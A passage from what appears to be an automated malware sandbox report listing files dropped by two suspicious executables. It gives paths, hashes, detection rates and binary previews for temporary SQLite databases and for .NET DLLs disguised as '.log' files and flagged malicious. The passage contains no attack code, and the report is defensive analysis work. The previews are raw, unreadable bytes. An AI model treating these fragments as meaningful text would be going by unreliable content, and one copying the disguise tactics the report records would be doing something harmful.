SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yUXGNIzHLM

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ykTj0nv09L

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yphl1WCNRY

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\z8dzZUBWWn

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\z9h7RFges3

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\za5NFJokG2

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zfUV3nixNJ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zq8UChuDnw

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zt9C0qkZb0

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zxyDjY4WHZ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zz39xGXuyi

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\Desktop\AHvxDOtC.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Joe Sandbox View:	Filename: W4tW72sfAD.exe, Detection: malicious, Browse Filename: 8CDSiIApNr.exe, Detection: malicious, Browse Filename: 3otr19d5Oq.exe, Detection: malicious, Browse Filename: idYLOQOVSi.exe, Detection: malicious, Browse Filename: ZAF4Dsu737.exe, Detection: malicious, Browse Filename: mbsPX9l9Ge.exe, Detection: malicious, Browse Filename: nxs4if1qOO.exe, Detection: malicious, Browse Filename: crsa4bZhdH.exe, Detection: malicious, Browse Filename: C9EBSy2FG0.exe, Detection: malicious, Browse Filename: y3HHIzAW6R.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\AZWFwAgV.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Joe Sandbox View:	Filename: 8CDSiIApNr.exe, Detection: malicious, Browse Filename: 3otr19d5Oq.exe, Detection: malicious, Browse Filename: ZAF4Dsu737.exe, Detection: malicious, Browse Filename: nxs4if1qOO.exe, Detection: malicious, Browse Filename: crsa4bZhdH.exe, Detection: malicious, Browse Filename: C9EBSy2FG0.exe, Detection: malicious, Browse Filename: mE6cY5Lf5f.exe, Detection: malicious, Browse Filename: 2qCi8YfXXc.exe, Detection: malicious, Browse Filename: fLxh5LPKeO.exe, Detection: malicious, Browse Filename: 1tQ7HC6GOS.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\AhGYbjHb.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CKigYxxx.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CVKgMxCZ.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DSloixRU.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28160
Entropy (8bit):	5.570953308352568
Encrypted:	false
SSDEEP:	384:BBOVNMHHPrq2YQGpX0dx+D4uuMig590gQDhJvoKfqeXOWnKNey/B/HM/g/6Y70FB:LOCPAEdx+vuNgD0gQ/gCYoTyn+
MD5:	A4F19ADB89F8D88DBDF103878CF31608
SHA1:	46267F43F0188DFD3248C18F07A46448D909BF9B
SHA-256:	D0613773A711634434DB30F2E35C6892FF54EBEADF49CD254377CAECB204EAA4
SHA-512:	23AA30D1CD92C4C69BA23C9D04CEBF4863A9EA20699194F9688B1051CE5A0FAD808BC27EE067A8AA86562F35C352824A53F7FB0A93F4A99470A1C97B31AF8C12
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....s.e...........!.....f..........^.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...dd... ...f.................. ..`.rsrc................h..............@..@.reloc...............l..............@..B................@.......H........X..4+...........W..(..................................................................................................................................................................._..\.....+....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\DYQGISGu.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	5.535426842040921
Encrypted:	false
SSDEEP:	384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
MD5:	5420053AF2D273C456FB46C2CDD68F64
SHA1:	EA1808D7A8C401A68097353BB51A85F1225B429C
SHA-256:	A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
SHA-512:	DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GOHxPPGn.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\HFjxfdnr.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ICLFBdCl.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JCfvgtvD.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KySWwqSG.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
